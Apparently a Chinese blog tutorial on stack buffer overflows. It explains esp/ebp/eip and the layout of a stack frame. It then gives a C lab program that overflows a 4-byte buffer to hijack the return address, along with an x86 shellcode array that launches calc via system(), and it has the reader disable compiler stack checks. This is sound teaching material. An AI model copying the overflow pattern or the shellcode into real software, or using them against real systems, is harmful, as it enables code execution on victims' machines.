通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)调用shellcode实例(一)

在阅读此篇文章时,请先确定已有一些计算机功底,其中包括计算机组成原理、寄存器功能、汇编语感。

正文开始:

实验环境:windows8.1,vs2010

相信不少人听说过缓冲区溢出攻击,这是当时黑客网络攻击很关键的一种攻击方式,直到现在很多黑客找到bug后进行的攻击行为还是基于它为原理,今天我给大家简单实验一下。

首先讲一下缓冲区溢出攻击如何实现,就要提到计算机底层调用函数的方式。当你运行你自己写好的程序时,系统会自动开一个线程并为你分配一段内存以供程序运行,其中一部分内存会用来作为线程的栈,而函数的调用离不开栈的运用。

先讲一些寄存器esp(栈指针寄存器)ebp(基址寄存器)eip(指令地址寄存器)eax(指令寄存器,可能还有其它功能)。

寄存器中都存放了一个32位的二进制数(如果是64位操作系统则是64位二进制数,不过用c或者汇编写的程序大多是三十二位的),这32位二进制数当然是一个地址,如果这个数是0x00000018(十六进制数)那么则该寄存器指向内存中第十八个字节(当然0x00000018这样的内存是不可能被普通程序员使用的,大多是0x007FEF87这样的内存)。

esp中存放的数据(三十二位二进制数)自然就是栈中的栈顶指针,比如栈的内存块是0x00000000~0x000000FF,而其中0x000000CC~0x000000FF(这些地址都是随便一写)有数据,则esp的地址就是0x000000CC-4=0x000000C8这个数,下一次压栈时,就会把0x000000C8~0x000000CB填满数据,栈顶指针再自减4,指向0x000000C4(栈的走向是从高地址走向低地址)。

ebp中存放的数据是用来基址寻址的基址(好别扭),也是一个地址,它的特点是一般会在局部变量和函数参数所存放地址的中间,意思就是ebp+0xXX中存放的数据是函数参数,ebp-0xXX中存放的数据是局部变量,当调用一个函数时,需要改变ebp中存放的地址。每一个函数都有自己的基址(应该吧)。

eip中存放的数据是下一条指令的地址,当cpu执行完当前指令需要下一条指令时,则会根据eip的数据(就是一条地址)来获取下一条指令,并把它存放到eax寄存器中。

函数调用过程:

当你在main函数里调用一个函数(比如fun函数)时

fun(a,b);

int i = 0;

这是两条指令,调用的函数有两个参数a、b,那么会先从右到左把b和a依次压入堆栈中,之后把下一条指令(int i = 0;)的地址也压入堆栈中(每压入一次esp自动自减4),当函数执行完后可根据该地址返回到父函数。

把ebp(此时ebp还是父函数的基址)的数据压入栈,函数执行完后根据该地址找回父函数基址。

把esp的地址值赋给ebp(此时ebp即为该函数基址)。

esp自减0xXX为局部变量开辟内存空间。

此时函数调用前的准备工作完成,开始函数调用。

此时栈的部分结构就是

__________

esp->||低地址

||

|缓冲区|

||

||

|_________|

|___ebp___|

|int i = 0;___|(父函数调用函数时的下一条指令地址)

|a________|

|b________|//高地址

………………(手工绘图 如果觉得图渣 那你来打我呀)

讲了这么多终于要讲到关键的地方了,如果我在函数中创建了一个局部变量数组char buffer[4],那么缓冲区最后的四个字节会被分给该局部变量,随后紧跟的内存存放的是ebp、父函数下一条指令地址(简称为返回地址)、函数参数a、b

如果此时我给buffer调用memcpy函数赋给了它十六个字节的字符串"0000111122223333",那么只有0000会被buffer接收,而ebp会被冲刷成1111(也就是0x31313131),返回地址会被冲刷为0x32323232,随后程序就崩溃了,因为函数调用结束后0x32323232是不可访问内存,会发生访问冲突。

如果我对十六个字节的字符串进行修改 把2222换成另一个函数的地址,在该函数调用完成后岂不是就会开始调用这个函数?这就是很前一段时间常见的缓冲区溢出攻击,会让程序开始执行一段secret代码,如果是恶意代码的话(嘿嘿嘿嘿嘿嘿)。

现在开始上代码(终于有代码了):

#include

#include

#include

#pragma comment(linker,"/SECTION:.data,RWE") //这条代码让shellcode数据片可作为代码来执行

unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00"

"\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e"

"\x08\x8b\x7e\x20\x8b\x36\x80\x7f"

"\x18\x00\x75\xf2\x8b\xfd\x83\xec"

"\x64\x8b\xec\x8b\x47\x3c\x8b\x54"

"\x07\x78\x03\xd7\x8b\x4a\x18\x8b"

"\x5a\x20\x03\xdf\x49\x8b\x34\x8b"

"\x03\xf7\xb8\x47\x65\x74\x50\x39"

"\x06\x75\xf1\xb8\x72\x6f\x63\x41"

"\x39\x46\x04\x75\xe7\x8b\x5a\x24"

"\x03\xdf\x66\x8b\x0c\x4b\x8b\x5a"

"\x1c\x03\xdf\x8b\x04\x8b\x03\xc7"

"\x89\x45\x4c\x6a\x00\x68\x61\x72"

"\x79\x41\x68\x4c\x69\x62\x72\x68"

"\x4c\x6f\x61\x64\x54\x57\xff\x55"

"\x4c\x89\x45\x50\x6a\x00\x68\x65"

"\x73\x73\x00\x68\x50\x72\x6f\x63"

"\x68\x45\x78\x69\x74\x54\x57\xff"

"\x55\x4c\x89\x45\x54\x6a\x70\x68"

"\x53\x6c\x65\x65\x54\x57\xff\x55"

"\x4c\x89\x45\x58\x6a\x00\x68\x72"

"\x74\x00\x00\x68\x6d\x73\x76\x63"

"\x54\xff\x55\x50\x8b\xf8\x6a\x00"

"\x68\x65\x6d\x00\x00\x68\x73\x79"

"\x73\x74\x54\x57\xff\x55\x4c\x89"

"\x45\x5c\x6a\x00\x68\x63\x61\x6c"

"\x63\x54\xff\x55\x5c\xff\x55\x54"

"";

void hacker()

{

printf("%i",1);//当该函数被调用时,说明溢出攻击成功了

exit(5);

}

void fun(char *str)

{

char buffer[4];

memcpy(buffer, str, 16);

}

int main()

{

//((void(*)())&shellcode)();//执行shellcode数据片

char badStr[] = "000011112222333344445555";//创建了一个24个字节的字符数组

DWORD *pEIP = (DWORD*)&badStr[8];//获取该数组的第八个元素的地址(从第零个开始)

//*pEIP = (DWORD)&shellcode[0];//获取shellcode数据片开头地址

*pEIP = (DWORD)hacker;//获取hacker函数地址(三十二位二进制数),同时赋给pEIP(即修改了badStr的2222变为hacker函数地址)

fun(badStr);//开始攻击

return 0;

}

看注释应该就能明白了,我在这里特别说一下vs很早就有检测栈溢出的功能了,不关闭它的话无法测试成功。

选择console1属性

修改基本运行时检查为默认值 修改缓冲区安全检查为否。

运行程序,发现log窗口中出现   ”程序“[0x202C] console1.exe: 本机”已退出,返回值为 5 (0x5)。“

说明执行了exit(5)代码,攻击成功。

下一章将讲述如何编写shellcode代码

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,013评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,205评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,370评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,168评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,153评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,954评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,271评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,916评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,382评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,877评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,989评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,624评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,209评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,199评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,418评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,401评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,700评论 2 345

推荐阅读更多精彩内容